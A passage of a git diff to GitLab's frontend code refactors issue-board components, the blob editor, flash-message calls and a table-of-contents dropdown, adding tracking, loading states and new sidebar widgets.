+ this.blobViewer = document.querySelector('.blob-viewer[data-type="rich"]');
+
+ this.observer = new MutationObserver(() => {
+ if (this.blobViewer.classList.contains('hidden')) {
+ this.isHidden = true;
+ } else if (this.blobViewer.getAttribute('data-loaded') === 'true') {
+ this.isHidden = false;
+ this.generateHeaders();
+ }
+ });
+
+ if (this.blobViewer) {
+ this.observer.observe(this.blobViewer, {
+ attributes: true,
+ });
+ }
+ },
+ beforeDestroy() {
+ if (this.observer) {
+ this.observer.disconnect();
+ }
+ },
+ methods: {
+ generateHeaders() {
+ const headers = [...this.blobViewer.querySelectorAll('h1,h2,h3,h4,h5,h6')];
+
+ if (headers.length) {
+ const firstHeader = getHeaderNumber(headers[0]);
+
+ headers.forEach((el) => {
+ this.items.push({
+ text: el.textContent.trim(),
+ anchor: el.querySelector('a').getAttribute('id'),
+ spacing: Math.max((getHeaderNumber(el) - firstHeader) * 8, 0),
+ });
+ });
+ }
+ },
+ },
+};
+</script>
+
+<template>
+ <gl-dropdown v-if="!isHidden && items.length" icon="list-bulleted" class="gl-mr-2" lazy>
+ <gl-dropdown-item v-for="(item, index) in items" :key="index" :href="`#${item.anchor}`">
+ <span
+ :style="{ 'padding-left': `${item.spacing}px` }"
+ class="gl-display-block"
+ data-testid="tableContentsLink"
+ >
+ {{ item.text }}
+ </span>
+ </gl-dropdown-item>
+ </gl-dropdown>
+</template>
diff --git a/app/assets/javascripts/blob_edit/blob_bundle.js b/app/assets/javascripts/blob_edit/blob_bundle.js
index d26af07d54f..76d9b18b777 100644
--- a/app/assets/javascripts/blob_edit/blob_bundle.js
+++ b/app/assets/javascripts/blob_edit/blob_bundle.js
@@ -3,7 +3,7 @@
import $ from 'jquery';
import initPopover from '~/blob/suggest_gitlab_ci_yml';
import initCodeQualityWalkthrough from '~/code_quality_walkthrough';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import { disableButtonIfEmptyField, setCookie } from '~/lib/utils/common_utils';
import Tracking from '~/tracking';
import BlobFileDropzone from '../blob/blob_file_dropzone';
@@ -84,7 +84,11 @@ export default () => {
initPopovers();
initCodeQualityWalkthroughStep();
})
- .catch((e) => createFlash(e));
+ .catch((e) =>
+ createFlash({
+ message: e,
+ }),
+ );
cancelLink.on('click', () => {
window.onbeforeunload = null;
diff --git a/app/assets/javascripts/blob_edit/edit_blob.js b/app/assets/javascripts/blob_edit/edit_blob.js
index ab2fc80e653..7c8d0d5ded0 100644
--- a/app/assets/javascripts/blob_edit/edit_blob.js
+++ b/app/assets/javascripts/blob_edit/edit_blob.js
@@ -1,7 +1,7 @@
import $ from 'jquery';
import EditorLite from '~/editor/editor_lite';
import { FileTemplateExtension } from '~/editor/extensions/editor_file_template_ext';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import { addEditorMarkdownListeners } from '~/lib/utils/text_markdown';
import { insertFinalNewline } from '~/lib/utils/text_utility';
@@ -21,7 +21,11 @@ export default class EditBlob {
this.editor.use(new MarkdownExtension());
addEditorMarkdownListeners(this.editor);
})
- .catch((e) => createFlash(`${BLOB_EDITOR_ERROR}: ${e}`));
+ .catch((e) =>
+ createFlash({
+ message: `${BLOB_EDITOR_ERROR}: ${e}`,
+ }),
+ );
}
this.initModePanesAndLinks();
@@ -94,7 +98,11 @@ export default class EditBlob {
currentPane.empty().append(data);
currentPane.renderGFM();
})
- .catch(() => createFlash(BLOB_PREVIEW_ERROR));
+ .catch(() =>
+ createFlash({
+ message: BLOB_PREVIEW_ERROR,
+ }),
+ );
}
this.$toggleButton.show();
diff --git a/app/assets/javascripts/boards/boards_util.js b/app/assets/javascripts/boards/boards_util.js
index f53d41dd0f4..e14a770411e 100644
--- a/app/assets/javascripts/boards/boards_util.js
+++ b/app/assets/javascripts/boards/boards_util.js
@@ -1,6 +1,6 @@
import { sortBy, cloneDeep } from 'lodash';
import { getIdFromGraphQLId } from '~/graphql_shared/utils';
-import { ListType, NOT_FILTER, AssigneeIdParamValues } from './constants';
+import { ListType } from './constants';
export function getMilestone() {
return null;
@@ -40,7 +40,7 @@ export function formatListIssues(listIssues) {
let listItemsCount;
const listData = listIssues.nodes.reduce((map, list) => {
- listItemsCount = list.issues.count;
+ listItemsCount = list.issuesCount;
let sortedIssues = list.issues.edges.map((issueNode) => ({
...issueNode.node,
}));
@@ -175,45 +175,106 @@ export function isListDraggable(list) {
return list.listType !== ListType.backlog && list.listType !== ListType.closed;
}
-export function transformNotFilters(filters) {
- return Object.keys(filters)
- .filter((key) => key.startsWith(NOT_FILTER))
- .reduce((obj, key) => {
- return {
- ...obj,
- [key.substring(4, key.length - 1)]: filters[key],
- };
- }, {});
-}
-
-export function getSupportedParams(filters, supportedFilters) {
- return supportedFilters.reduce((acc, f) => {
- /**
- * TODO the API endpoint for the classic boards
- * accepts assignee wildcard value as 'assigneeId' param -
- * while the GraphQL query accepts the value in 'assigneWildcardId' field.
- * Once we deprecate the classics boards,
- * we should change the filtered search bar to use 'asssigneeWildcardId' as a token name.
- */
- if (f === 'assigneeId' && filters[f]) {
- return AssigneeIdParamValues.includes(filters[f])
- ? {
- ...acc,
- assigneeWildcardId: filters[f].toUpperCase(),
- }
- : acc;
- }
-
- if (filters[f]) {
- return {
- ...acc,
- [f]: filters[f],
- };
- }
-
- return acc;
- }, {});
-}
+export const FiltersInfo = {
+ assigneeUsername: {
+ negatedSupport: true,
+ },
+ assigneeId: {
+ // assigneeId should be renamed to assigneeWildcardId.
+ // Classic boards used 'assigneeId'
+ remap: () => 'assigneeWildcardId',
+ },
+ assigneeWildcardId: {
+ negatedSupport: false,
+ transform: (val) => val.toUpperCase(),
+ },
+ authorUsername: {
+ negatedSupport: true,
+ },
+ labelName: {
+ negatedSupport: true,
+ },
+ milestoneTitle: {
+ negatedSupport: true,
+ },
+ myReactionEmoji: {
+ negatedSupport: true,
+ },
+ releaseTag: {
+ negatedSupport: true,
+ },
+ search: {
+ negatedSupport: false,
+ },
+};
+
+/**
+ * @param {Object} filters - ex. { search: "foobar", "not[authorUsername]": "root", }
+ * @returns {Object} - ex. [ ["search", "foobar", false], ["authorUsername", "root", true], ]
+ */
+const parseFilters = (filters) => {
+ /* eslint-disable-next-line @gitlab/require-i18n-strings */
+ const isNegated = (x) => x.startsWith('not[') && x.endsWith(']');
+
+ return Object.entries(filters).map(([k, v]) => {
+ const isNot = isNegated(k);
+ const filterKey = isNot ? k.slice(4, -1) : k;
+
+ return [filterKey, v, isNot];
+ });
+};
+
+/**
+ * Returns an object of filter key/value pairs used as variables in GraphQL requests.
+ * (warning: filter values are not validated)
+ *
+ * @param {Object} objParam.filters - filters extracted from url params. ex. { search: "foobar", "not[authorUsername]": "root", }
+ * @param {string} objParam.issuableType - issuable type e.g., issue.
+ * @param {Object} objParam.filterInfo - data on filters such as how to transform filter value, if filter can be negated, etc.
+ * @param {Object} objParam.filterFields - data on what filters are available for given issuableType (based on GraphQL schema)
+ */
+export const filterVariables = ({ filters, issuableType, filterInfo, filterFields }) =>
+ parseFilters(filters)
+ .map(([k, v, negated]) => {
+ // for legacy reasons, some filters need to be renamed to correct GraphQL fields.
+ const remapAvailable = filterInfo[k]?.remap;
+ const remappedKey = remapAvailable ? filterInfo[k].remap(k, v) : k;
+
+ return [remappedKey, v, negated];
+ })
+ .filter(([k, , negated]) => {
+ // remove unsupported filters (+ check if the filters support negation)
+ const supported = filterFields[issuableType].includes(k);
+ if (supported) {
+ return negated ? filterInfo[k].negatedSupport : true;
+ }
+
+ return false;
+ })
+ .map(([k, v, negated]) => {
+ // if the filter value needs a special transformation, apply it (e.g., capitalization)
+ const transform = filterInfo[k]?.transform;
+ const newVal = transform ? transform(v) : v;
+
+ return [k, newVal, negated];
+ })
+ .reduce(
+ (acc, [k, v, negated]) => {
+ return negated
+ ? {
+ ...acc,
+ not: {
+ ...acc.not,
+ [k]: v,
+ },
+ }
+ : {
+ ...acc,
+ [k]: v,
+ };
+ },
+ { not: {} },
+ );
// EE-specific feature. Find the implementation in the `ee/`-folder
export function transformBoardConfig() {
@@ -228,5 +289,4 @@ export default {
fullLabelId,
fullIterationId,
isListDraggable,
- transformNotFilters,
};
diff --git a/app/assets/javascripts/boards/components/board_add_new_column_trigger.vue b/app/assets/javascripts/boards/components/board_add_new_column_trigger.vue
index 85f001d9d61..2aee84b805f 100644
--- a/app/assets/javascripts/boards/components/board_add_new_column_trigger.vue
+++ b/app/assets/javascripts/boards/components/board_add_new_column_trigger.vue
@@ -1,21 +1,25 @@
<script>
import { GlButton } from '@gitlab/ui';
import { mapActions } from 'vuex';
+import Tracking from '~/tracking';
export default {
components: {
GlButton,
},
+ mixins: [Tracking.mixin()],
methods: {
...mapActions(['setAddColumnFormVisibility']),
+ handleClick() {
+ this.setAddColumnFormVisibility(true);
+ this.track('click_button', { label: 'create_list' });
+ },
},
};
</script>
<template>
<div class="gl-ml-3 gl-display-flex gl-align-items-center" data-testid="boards-create-list">
- <gl-button variant="confirm" @click="setAddColumnFormVisibility(true)"
- >{{ __('Create list') }}
- </gl-button>
+ <gl-button variant="confirm" @click="handleClick">{{ __('Create list') }} </gl-button>
</div>
</template>
diff --git a/app/assets/javascripts/boards/components/board_card.vue b/app/assets/javascripts/boards/components/board_card.vue
index 2821b799cef..1e780f9ef84 100644
--- a/app/assets/javascripts/boards/components/board_card.vue
+++ b/app/assets/javascripts/boards/components/board_card.vue
@@ -1,5 +1,6 @@
<script>
import { mapActions, mapState } from 'vuex';
+import Tracking from '~/tracking';
import BoardCardInner from './board_card_inner.vue';
export default {
@@ -7,6 +8,7 @@ export default {
components: {
BoardCardInner,
},
+ mixins: [Tracking.mixin()],
props: {
list: {
type: Object,
@@ -40,6 +42,12 @@ export default {
this.selectedBoardItems.findIndex((boardItem) => boardItem.id === this.item.id) > -1
);
},
+ isDisabled() {
+ return this.disabled || !this.item.id || this.item.isLoading;
+ },
+ isDraggable() {
+ return !this.disabled && this.item.id && !this.item.isLoading;
+ },
},
methods: {
...mapActions(['toggleBoardItemMultiSelection', 'toggleBoardItem']),
@@ -48,10 +56,11 @@ export default {
if (e.target.closest('.js-no-trigger')) return;
const isMultiSelect = e.ctrlKey || e.metaKey;
- if (isMultiSelect) {
+ if (isMultiSelect && gon?.features?.boardMultiSelect) {
this.toggleBoardItemMultiSelection(this.item);
} else {
this.toggleBoardItem({ boardItem: this.item });
+ this.track('click_card', { label: 'right_sidebar' });
}
},
},
@@ -63,9 +72,10 @@ export default {
data-qa-selector="board_card"
:class="{
'multi-select': multiSelectVisible,
- 'user-can-drag': !disabled && item.id,
- 'is-disabled': disabled || !item.id,
+ 'user-can-drag': isDraggable,
+ 'is-disabled': isDisabled,
'is-active': isActive,
+ 'gl-cursor-not-allowed gl-bg-gray-10': item.isLoading,
}"
:index="index"
:data-item-id="item.id"
diff --git a/app/assets/javascripts/boards/components/board_card_inner.vue b/app/assets/javascripts/boards/components/board_card_inner.vue
index 0cb2e64042e..2f4e9044b9e 100644
--- a/app/assets/javascripts/boards/components/board_card_inner.vue
+++ b/app/assets/javascripts/boards/components/board_card_inner.vue
@@ -1,5 +1,5 @@
<script>
-import { GlLabel, GlTooltipDirective, GlIcon } from '@gitlab/ui';
+import { GlLabel, GlTooltipDirective, GlIcon, GlLoadingIcon } from '@gitlab/ui';
import { sortBy } from 'lodash';
import { mapActions, mapGetters, mapState } from 'vuex';
import boardCardInner from 'ee_else_ce/boards/mixins/board_card_inner';
@@ -17,6 +17,7 @@ import IssueTimeEstimate from './issue_time_estimate.vue';
export default {
components: {
GlLabel,
+ GlLoadingIcon,
GlIcon,
UserAvatarLink,
TooltipOnTruncate,
@@ -181,9 +182,13 @@ export default {
class="confidential-icon gl-mr-2"
:aria-label="__('Confidential')"
/>
- <a :href="item.path || item.webUrl || ''" :title="item.title" @mousemove.stop>{{
- item.title
- }}</a>
+ <a
+ :href="item.path || item.webUrl || ''"
+ :title="item.title"
+ :class="{ 'gl-text-gray-400!': item.isLoading }"
+ @mousemove.stop
+ >{{ item.title }}</a
+ >
</h4>
</div>
<div v-if="showLabelFooter" class="board-card-labels gl-mt-2 gl-display-flex gl-flex-wrap">
@@ -206,6 +211,7 @@ export default {
<div
class="gl-display-flex align-items-start flex-wrap-reverse board-card-number-container gl-overflow-hidden js-board-card-number-container"
>
+ <gl-loading-icon v-if="item.isLoading" size="md" class="mt-3" />
<span
v-if="item.referencePath"
class="board-card-number gl-overflow-hidden gl-display-flex gl-mr-3 gl-mt-3"
diff --git a/app/assets/javascripts/boards/components/board_column.vue b/app/assets/javascripts/boards/components/board_column.vue
index c9e667d526c..cc7262f3a39 100644
--- a/app/assets/javascripts/boards/components/board_column.vue
+++ b/app/assets/javascripts/boards/components/board_column.vue
@@ -24,11 +24,6 @@ export default {
type: Boolean,
required: true,
},
- canAdminList: {
- type: Boolean,
- required: false,
- default: false,
- },
},
computed: {
...mapState(['filterParams', 'highlightedLists']),
@@ -92,14 +87,8 @@ export default {
class="board-inner gl-display-flex gl-flex-direction-column gl-relative gl-h-full gl-rounded-base"
:class="{ 'board-column-highlighted': highlighted }"
>
- <board-list-header :can-admin-list="canAdminList" :list="list" :disabled="disabled" />
- <board-list
- ref="board-list"
- :disabled="disabled"
- :board-items="listItems"
- :list="list"
- :can-admin-list="canAdminList"
- />
+ <board-list-header :list="list" :disabled="disabled" />
+ <board-list ref="board-list" :disabled="disabled" :board-items="listItems" :list="list" />
</div>
</div>
</template>
diff --git a/app/assets/javascripts/boards/components/board_column_deprecated.vue b/app/assets/javascripts/boards/components/board_column_deprecated.vue
index 3dc77654e28..7c090dfaa53 100644
--- a/app/assets/javascripts/boards/components/board_column_deprecated.vue
+++ b/app/assets/javascripts/boards/components/board_column_deprecated.vue
@@ -26,11 +26,6 @@ export default {
type: Boolean,
required: true,
},
- canAdminList: {
- type: Boolean,
- required: false,
- default: false,
- },
},
data() {
return {
@@ -110,7 +105,7 @@ export default {
class="board-inner gl-display-flex gl-flex-direction-column gl-relative gl-h-full gl-rounded-base"
:class="{ 'board-column-highlighted': list.highlighted }"
>
- <board-list-header :can-admin-list="canAdminList" :list="list" :disabled="disabled" />
+ <board-list-header :list="list" :disabled="disabled" />
<board-list ref="board-list" :disabled="disabled" :issues="listIssues" :list="list" />
</div>
</div>
diff --git a/app/assets/javascripts/boards/components/board_content.vue b/app/assets/javascripts/boards/components/board_content.vue
index b8a38d833ad..b770ac06e89 100644
--- a/app/assets/javascripts/boards/components/board_content.vue
+++ b/app/assets/javascripts/boards/components/board_content.vue
@@ -106,7 +106,6 @@ export default {
v-for="(list, index) in boardListsToUse"
:key="index"
ref="board"
- :can-admin-list="canAdminList"
:list="list"
:disabled="disabled"
/>
diff --git a/app/assets/javascripts/boards/components/board_content_sidebar.vue b/app/assets/javascripts/boards/components/board_content_sidebar.vue
index e1f8457c0e2..16a8a9d253f 100644
--- a/app/assets/javascripts/boards/components/board_content_sidebar.vue
+++ b/app/assets/javascripts/boards/components/board_content_sidebar.vue
@@ -1,16 +1,17 @@
<script>
import { GlDrawer } from '@gitlab/ui';
import { mapState, mapActions, mapGetters } from 'vuex';
-import BoardSidebarDueDate from '~/boards/components/sidebar/board_sidebar_due_date.vue';
+import SidebarDropdownWidget from 'ee_else_ce/sidebar/components/sidebar_dropdown_widget.vue';
import BoardSidebarLabelsSelect from '~/boards/components/sidebar/board_sidebar_labels_select.vue';
-import BoardSidebarMilestoneSelect from '~/boards/components/sidebar/board_sidebar_milestone_select.vue';
import BoardSidebarTimeTracker from '~/boards/components/sidebar/board_sidebar_time_tracker.vue';
import BoardSidebarTitle from '~/boards/components/sidebar/board_sidebar_title.vue';
import { ISSUABLE } from '~/boards/constants';
import { contentTop } from '~/lib/utils/common_utils';
import SidebarAssigneesWidget from '~/sidebar/components/assignees/sidebar_assignees_widget.vue';
import SidebarConfidentialityWidget from '~/sidebar/components/confidential/sidebar_confidentiality_widget.vue';
+import SidebarDateWidget from '~/sidebar/components/date/sidebar_date_widget.vue';
import SidebarSubscriptionsWidget from '~/sidebar/components/subscriptions/sidebar_subscriptions_widget.vue';
+import glFeatureFlagMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
export default {
headerHeight: `${contentTop()}px`,
@@ -18,19 +19,18 @@ export default {
GlDrawer,
BoardSidebarTitle,
SidebarAssigneesWidget,
+ SidebarDateWidget,
SidebarConfidentialityWidget,
BoardSidebarTimeTracker,
BoardSidebarLabelsSelect,
- BoardSidebarDueDate,
SidebarSubscriptionsWidget,
- BoardSidebarMilestoneSelect,
- BoardSidebarEpicSelect: () =>
- import('ee_component/boards/components/sidebar/board_sidebar_epic_select.vue'),
+ SidebarDropdownWidget,
BoardSidebarWeightInput: () =>
import('ee_component/boards/components/sidebar/board_sidebar_weight_input.vue'),
- SidebarIterationWidget: () =>
- import('ee_component/sidebar/components/sidebar_iteration_widget.vue'),
+ IterationSidebarDropdownWidget: () =>
+ import('ee_component/sidebar/components/iteration_sidebar_dropdown_widget.vue'),
},
+ mixins: [glFeatureFlagMixin()],
inject: {
multipleAssigneesFeatureAvailable: {
default: false,
@@ -89,20 +89,57 @@ export default {
:allow-multiple-assignees="multipleAssigneesFeatureAvailable"
@assignees-updated="setAssignees"
/>
- <board-sidebar-epic-select v-if="epicFeatureAvailable" class="epic" />
+ <sidebar-dropdown-widget
+ v-if="epicFeatureAvailable"
+ :iid="activeBoardItem.iid"
+ issuable-attribute="epic"
+ :workspace-path="projectPathForActiveIssue"
+ :attr-workspace-path="groupPathForActiveIssue"
+ :issuable-type="issuableType"
+ data-testid="sidebar-epic"
+ />
<div>
- <board-sidebar-milestone-select />
- <sidebar-iteration-widget
- v-if="iterationFeatureAvailable"
+ <sidebar-dropdown-widget
:iid="activeBoardItem.iid"
+ issuable-attribute="milestone"
:workspace-path="projectPathForActiveIssue"
- :iterations-workspace-path="groupPathForActiveIssue"
+ :attr-workspace-path="projectPathForActiveIssue"
:issuable-type="issuableType"
- class="gl-mt-5"
+ data-testid="sidebar-milestones"
/>
+ <template v-if="!glFeatures.iterationCadences">
+ <sidebar-dropdown-widget
+ v-if="iterationFeatureAvailable"
+ :iid="activeBoardItem.iid"
+ issuable-attribute="iteration"
+ :workspace-path="projectPathForActiveIssue"
+ :attr-workspace-path="groupPathForActiveIssue"
+ :issuable-type="issuableType"
+ class="gl-mt-5"
+ data-testid="iteration-edit"
+ data-qa-selector="iteration_container"
+ />
+ </template>
+ <template v-else>
+ <iteration-sidebar-dropdown-widget
+ v-if="iterationFeatureAvailable"
+ :iid="activeBoardItem.iid"
+ :workspace-path="projectPathForActiveIssue"
+ :attr-workspace-path="groupPathForActiveIssue"
+ :issuable-type="issuableType"
+ class="gl-mt-5"
+ data-testid="iteration-edit"
+ data-qa-selector="iteration_container"
+ />
+ </template>
</div>
<board-sidebar-time-tracker class="swimlanes-sidebar-time-tracker" />
- <board-sidebar-due-date />
+ <sidebar-date-widget
+ :iid="activeBoardItem.iid"
+ :full-path="fullPath"
+ :issuable-type="issuableType"
+ data-testid="sidebar-due-date"
+ />
<board-sidebar-labels-select class="labels" />
<board-sidebar-weight-input v-if="weightFeatureAvailable" class="weight" />
<sidebar-confidentiality-widget
diff --git a/app/assets/javascripts/boards/components/board_filtered_search.vue b/app/assets/javascripts/boards/components/board_filtered_search.vue
index e564af0c353..13388f02f1f 100644
--- a/app/assets/javascripts/boards/components/board_filtered_search.vue
+++ b/app/assets/javascripts/boards/components/board_filtered_search.vue
@@ -3,6 +3,7 @@ import { pickBy } from 'lodash';
import { mapActions } from 'vuex';
import { updateHistory, setUrlParams } from '~/lib/utils/url_utility';
import { __ } from '~/locale';
+import { FILTERED_SEARCH_TERM } from '~/vue_shared/components/filtered_search_bar/constants';
import FilteredSearch from '~/vue_shared/components/filtered_search_bar/filtered_search_bar_root.vue';
export default {
@@ -104,7 +105,9 @@ export default {
},
getFilterParams(filters = []) {
const notFilters = filters.filter((item) => item.value.operator === '!=');
- const equalsFilters = filters.filter((item) => item.value.operator === '=');
+ const equalsFilters = filters.filter(
+ (item) => item?.value?.operator === '=' || item.type === FILTERED_SEARCH_TERM,
+ );
return { ...this.generateParams(equalsFilters), not: { ...this.generateParams(notFilters) } };
},
diff --git a/app/assets/javascripts/boards/components/board_form.vue b/app/assets/javascripts/boards/components/board_form.vue
index 78da4137d69..aa75a0d68f5 100644
--- a/app/assets/javascripts/boards/components/board_form.vue
+++ b/app/assets/javascripts/boards/components/board_form.vue
@@ -1,7 +1,7 @@
<script>
-import { GlModal } from '@gitlab/ui';
-import { mapGetters } from 'vuex';
-import { deprecatedCreateFlash as Flash } from '~/flash';
+import { GlModal, GlAlert } from '@gitlab/ui';
+import { mapGetters, mapActions, mapState } from 'vuex';
+import ListLabel from '~/boards/models/label';
import { convertToGraphQLId } from '~/graphql_shared/utils';
import { getParameterByName } from '~/lib/utils/common_utils';
import { visitUrl } from '~/lib/utils/url_utility';
@@ -44,6 +44,7 @@ export default {
BoardScope: () => import('ee_component/boards/components/board_scope.vue'),
GlModal,
BoardConfigurationOptions,
+ GlAlert,
},
inject: {
fullPath: {
@@ -107,6 +108,7 @@ export default {
};
},
computed: {
+ ...mapState(['error']),
...mapGetters(['isIssueBoard', 'isGroupBoard', 'isProjectBoard']),
isNewForm() {
return this.currentPage === formType.new;
@@ -222,9 +224,7 @@ export default {
}
},
methods: {
- setIteration(iterationId) {
- this.board.iteration_id = iterationId;
- },
+ ...mapActions(['setError', 'unsetError']),
boardCreateResponse(data) {
return data.createBoard.board.webPath;
},
@@ -235,6 +235,9 @@ export default {
: '';
return `${path}${param}`;
},
+ cancel() {
+ this.$emit('cancel');
+ },
async createOrUpdateBoard() {
const response = await this.$apollo.mutate({
mutation: this.currentMutation,
@@ -263,7 +266,7 @@ export default {
await this.deleteBoard();
visitUrl(this.rootPath);
} catch {
- Flash(this.$options.i18n.deleteErrorMessage);
+ this.setError({ message: this.$options.i18n.deleteErrorMessage });
} finally {
this.isLoading = false;
}
@@ -272,15 +275,12 @@ export default {
const url = await this.createOrUpdateBoard();
visitUrl(url);
} catch {
- Flash(this.$options.i18n.saveErrorMessage);
+ this.setError({ message: this.$options.i18n.saveErrorMessage });
} finally {
this.isLoading = false;
}
}
},
- cancel() {
- this.$emit('cancel');
- },
resetFormState() {
if (this.isNewForm) {
// Clear the form when we open the "New board" modal
@@ -289,6 +289,25 @@ export default {
this.board = { ...boardDefaults, ...this.currentBoard };
}
},
+ setIteration(iterationId) {
+ this.board.iteration_id = iterationId;
+ },
+ setBoardLabels(labels) {
+ labels.forEach((label) => {
+ if (label.set && !this.board.labels.find((l) => l.id === label.id)) {
+ this.board.labels.push(
+ new ListLabel({
+ id: label.id,
+ title: label.title,
+ color: label.color,
+ textColor: label.text_color,
+ }),
+ );
+ } else if (!label.set) {
+ this.board.labels = this.board.labels.filter((selected) => selected.id !== label.id);
+ }
+ });
+ },
},
};
</script>
@@ -308,6 +327,15 @@ export default {
@close="cancel"
@hide.prevent
>
+ <gl-alert
+ v-if="error"
+ class="gl-mb-3"
+ variant="danger"
+ :dismissible="true"
+ @dismiss="unsetError"
+ >
+ {{ error }}
+ </gl-alert>
<p v-if="isDeleteForm" data-testid="delete-confirmation-message">
{{ $options.i18n.deleteConfirmationMessage }}
</p>
@@ -346,6 +374,7 @@ export default {
:group-id="groupId"
:weights="weights"
@set-iteration="setIteration"
+ @set-board-labels="setBoardLabels"
/>
</form>
</gl-modal>
diff --git a/app/assets/javascripts/boards/components/board_list.vue b/app/assets/javascripts/boards/components/board_list.vue
index 94e29f3ad86..81740b5cd17 100644
--- a/app/assets/javascripts/boards/components/board_list.vue
+++ b/app/assets/javascripts/boards/components/board_list.vue
@@ -1,10 +1,11 @@
<script>
-import { GlLoadingIcon } from '@gitlab/ui';
+import { GlLoadingIcon, GlIntersectionObserver } from '@gitlab/ui';
import Draggable from 'vuedraggable';
import { mapActions, mapGetters, mapState } from 'vuex';
import { sortableStart, sortableEnd } from '~/boards/mixins/sortable_default_options';
import { sprintf, __ } from '~/locale';
import defaultSortableConfig from '~/sortable/sortable_config';
+import Tracking from '~/tracking';
import eventHub from '../eventhub';
import BoardCard from './board_card.vue';
import BoardNewIssue from './board_new_issue.vue';
@@ -21,6 +22,13 @@ export default {
BoardCard,
BoardNewIssue,
GlLoadingIcon,
+ GlIntersectionObserver,
+ },
+ mixins: [Tracking.mixin()],
+ inject: {
+ canAdminList: {
+ default: false,
+ },
},
props: {
disabled: {
@@ -35,11 +43,6 @@ export default {
type: Array,
required: true,
},
- canAdminList: {
- type: Boolean,
- required: false,
- default: false,
- },
},
data() {
return {
@@ -65,7 +68,7 @@ export default {
return this.list.maxIssueCount > 0 && this.listItemsCount > this.list.maxIssueCount;
},
hasNextPage() {
- return this.pageInfoByListId[this.list.id].hasNextPage;
+ return this.pageInfoByListId[this.list.id]?.hasNextPage;
},
loading() {
return this.listsFlags[this.list.id]?.isLoading;
@@ -86,7 +89,9 @@ export default {
: this.$options.i18n.showingAllIssues;
},
treeRootWrapper() {
- return this.canAdminList ? Draggable : 'ul';
+ return this.canAdminList && !this.listsFlags[this.list.id]?.addItemToListInProgress
+ ? Draggable
+ : 'ul';
},
treeRootOptions() {
const options = {
@@ -108,19 +113,21 @@ export default {
this.showCount = this.scrollHeight() > Math.ceil(this.listHeight());
});
},
- },
- created() {
- eventHub.$on(`toggle-issue-form-${this.list.id}`, this.toggleForm);
- eventHub.$on(`scroll-board-list-${this.list.id}`, this.scrollToTop);
- },
- mounted() {
- // Scroll event on list to load more
- this.listRef.addEventListener('scroll', this.onScroll);
+ 'list.id': {
+ handler(id, oldVal) {
+ if (id) {
+ eventHub.$on(`toggle-issue-form-${this.list.id}`, this.toggleForm);
+ eventHub.$on(`scroll-board-list-${this.list.id}`, this.scrollToTop);
+ eventHub.$off(`toggle-issue-form-${oldVal}`, this.toggleForm);
+ eventHub.$off(`scroll-board-list-${oldVal}`, this.scrollToTop);
+ }
+ },
+ immediate: true,
+ },
},
beforeDestroy() {
eventHub.$off(`toggle-issue-form-${this.list.id}`, this.toggleForm);
eventHub.$off(`scroll-board-list-${this.list.id}`, this.scrollToTop);
- this.listRef.removeEventListener('scroll', this.onScroll);
},
methods: {
...mapActions(['fetchItemsForList', 'moveItem']),
@@ -142,28 +149,31 @@ export default {
toggleForm() {
this.showIssueForm = !this.showIssueForm;
},
- onScroll() {
- window.requestAnimationFrame(() => {
- if (
- !this.loadingMore &&
- this.scrollTop() > this.scrollHeight() - this.scrollOffset &&
- this.hasNextPage
- ) {
- this.loadNextPage();
- }
- });
+ onReachingListBottom() {
+ if (!this.loadingMore && this.hasNextPage) {
+ this.showCount = true;
+ this.loadNextPage();
+ }
},
handleDragOnStart() {
sortableStart();
+ this.track('drag_card', { label: 'board' });
},
handleDragOnEnd(params) {
sortableEnd();
- const { newIndex, oldIndex, from, to, item } = params;
+ const { oldIndex, from, to, item } = params;
+ let { newIndex } = params;
const { itemId, itemIid, itemPath } = item.dataset;
- const { children } = to;
+ let { children } = to;
let moveBeforeId;
let moveAfterId;
+ children = Array.from(children).filter((card) => card.classList.contains('board-card'));
+
+ if (newIndex > children.length) {
+ newIndex = children.length;
+ }
+
const getItemId = (el) => Number(el.dataset.itemId);
// If item is being moved within the same list
@@ -226,6 +236,7 @@ export default {
:data-board="list.id"
:data-board-type="list.listType"
:class="{ 'bg-danger-100': boardItemsSizeExceedsMax }"
+ draggable=".board-card"
class="board-list gl-w-full gl-h-full gl-list-style-none gl-mb-0 gl-p-2 js-board-list"
data-testid="tree-root-wrapper"
@start="handleDragOnStart"
@@ -240,15 +251,17 @@ export default {
:item="item"
:disabled="disabled"
/>
- <li v-if="showCount" class="board-list-count gl-text-center" data-issue-id="-1">
- <gl-loading-icon
- v-if="loadingMore"
- :label="$options.i18n.loadingMoreboardItems"
- data-testid="count-loading-icon"
- />
- <span v-if="showingAllItems">{{ showingAllItemsText }}</span>
- <span v-else>{{ paginatedIssueText }}</span>
- </li>
+ <gl-intersection-observer @appear="onReachingListBottom">
+ <li v-if="showCount" class="board-list-count gl-text-center" data-issue-id="-1">
+ <gl-loading-icon
+ v-if="loadingMore"
+ :label="$options.i18n.loadingMoreboardItems"
+ data-testid="count-loading-icon"
+ />
+ <span v-if="showingAllItems">{{ showingAllItemsText }}</span>
+ <span v-else>{{ paginatedIssueText }}</span>
+ </li>
+ </gl-intersection-observer>
</component>
</div>
</template>
diff --git a/app/assets/javascripts/boards/components/board_list_deprecated.vue b/app/assets/javascripts/boards/components/board_list_deprecated.vue
index 0534e027c86..9b3e7e1547d 100644
--- a/app/assets/javascripts/boards/components/board_list_deprecated.vue
+++ b/app/assets/javascripts/boards/components/board_list_deprecated.vue
@@ -1,7 +1,7 @@
<script>
import { GlLoadingIcon } from '@gitlab/ui';
import { Sortable, MultiDrag } from 'sortablejs';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import { BV_HIDE_TOOLTIP } from '~/lib/utils/constants';
import { sprintf, __ } from '~/locale';
import eventHub from '../eventhub';
@@ -91,6 +91,13 @@ export default {
}
});
},
+ 'list.id': {
+ handler(id) {
+ if (id) {
+ eventHub.$on(`toggle-issue-form-${this.list.id}`, this.toggleForm);
+ }
+ },
+ },
},
created() {
eventHub.$on(`toggle-issue-form-${this.list.id}`, this.toggleForm);
@@ -295,7 +302,9 @@ export default {
}
if (!toList) {
- createFlash(__('Something went wrong while performing the action.'));
+ createFlash({
+ message: __('Something went wrong while performing the action.'),
+ });
}
if (!isSameList) {
diff --git a/app/assets/javascripts/boards/components/board_list_header.vue b/app/assets/javascripts/boards/components/board_list_header.vue
index f94697172ac..bf8396f52a6 100644
